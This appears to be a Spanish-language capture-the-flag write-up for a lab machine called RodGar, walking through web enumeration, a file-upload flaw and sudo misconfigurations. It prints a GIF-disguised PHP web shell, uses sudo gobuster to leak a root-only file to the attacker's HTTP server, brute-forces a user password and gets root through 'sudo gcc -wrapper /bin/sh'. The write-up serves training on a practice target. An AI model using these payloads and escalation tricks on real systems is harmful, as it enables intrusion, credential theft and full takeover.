Enumeración de servicios y contenido web
El objetivo sólo expone una aplicación web sobre Apache. Dentro de /uploads, Gobuster descubre clue.txt, cuyo contenido apunta a /root/rodgarpass y anticipa que necesitaremos una primitiva de lectura con privilegios:
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.13
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: RodGar - Subir Imagen
...
❯ gobuster dir -u 'http://192.168.1.13/uploads' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/clue.txt (Status: 200) [Size: 17]
...
❯ cat clue.txt
/root/rodgarpassAnálisis del uploader
robots.txt contiene el código fuente del uploader codificado en Base64. Al decodificarlo vemos que sólo valida la extensión y transforma el nombre base mediante ROT13 antes de guardar el archivo:
$encryptedFileName = strtr($fileBaseName,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');La validación admite gif pero no comprueba que su contenido sea una imagen segura. Esto permite un Unrestricted File Upload RCE: añadimos la firma GIF89a delante de PHP y calculamos que pwned se publicará como cjarq después de ROT13:
❯ less pwned.gif
...
GIF89a;<?php system($_GET["cmd"]);?>
...http://192.168.1.13/uploads/cjarq.gif?cmd=id
GIF89a;uid=33(www-data) gid=33(www-data) groups=33(www-data)La respuesta de id confirma ejecución como www-data. Sustituimos el comando de prueba por una reverse shell y consultamos sus permisos de sudo:
www-data@debian:/var/www$ sudo -l
...
User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/gobusterArbitrary File Read mediante sudo gobuster
La regla constituye un Sudo-Allowed Program Abuse. Gobuster usa el archivo indicado con -w como lista de rutas y envía cada línea al servidor configurado con -u. Al ejecutarlo como root, puede abrir /root/rodgarpass; nuestro servidor HTTP registra cada palabra solicitada y convierte este comportamiento en un Arbitrary File Read por canal lateral:
www-data@debian:/var/www$ sudo gobuster dir -u http://192.168.1.7:8000 -w /root/rodgarpass
❯ python3 -m http.server
...
192.168.1.13 - - [25/Nov/2024 23:48:27] "GET /[redacted]85e7b0f2 HTTP/1.1" 404 -El valor filtrado tiene 31 caracteres hexadecimales, uno menos que el formato esperado. En lugar de atacar un espacio amplio, generamos las dieciséis posibilidades para el carácter final y las validamos contra la cuenta rodgar:
❯ cat passwd.py
pwd = '[redacted]85e7b0f2'
chars = '0123456789abcdef'
with open ('wl.txt', 'a') as wl:
for letter in chars:
passwd = pwd + letter
wl.write(passwd + '\n')www-data@debian:/tmp$ ./suBF.sh -w wl.txt -u rodgar -t 0.7 -s 0.05
You can login as rodgar using password: [redacted]85e7b0f21
www-data@debian:/tmp$ su rodgar
Password: [redacted]85e7b0f21
rodgar@debian:/tmp$Escalada mediante sudo gcc
La contraseña correcta permite cambiar a rodgar y recuperar la primera flag. Su regla de sudo autoriza gcc y make como cualquier usuario sin contraseña:
rodgar@debian:/tmp$ sudo -l
...
User rodgar may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/makeLa opción -wrapper de gcc ejecuta el programa indicado como envoltorio del compilador. Como todo el proceso se inicia mediante sudo, /bin/sh hereda los privilegios de root:
rodgar@debian:~$ sudo gcc -wrapper /bin/sh,-s .
rootwhoami confirma la identidad privilegiada y permite recuperar la flag final.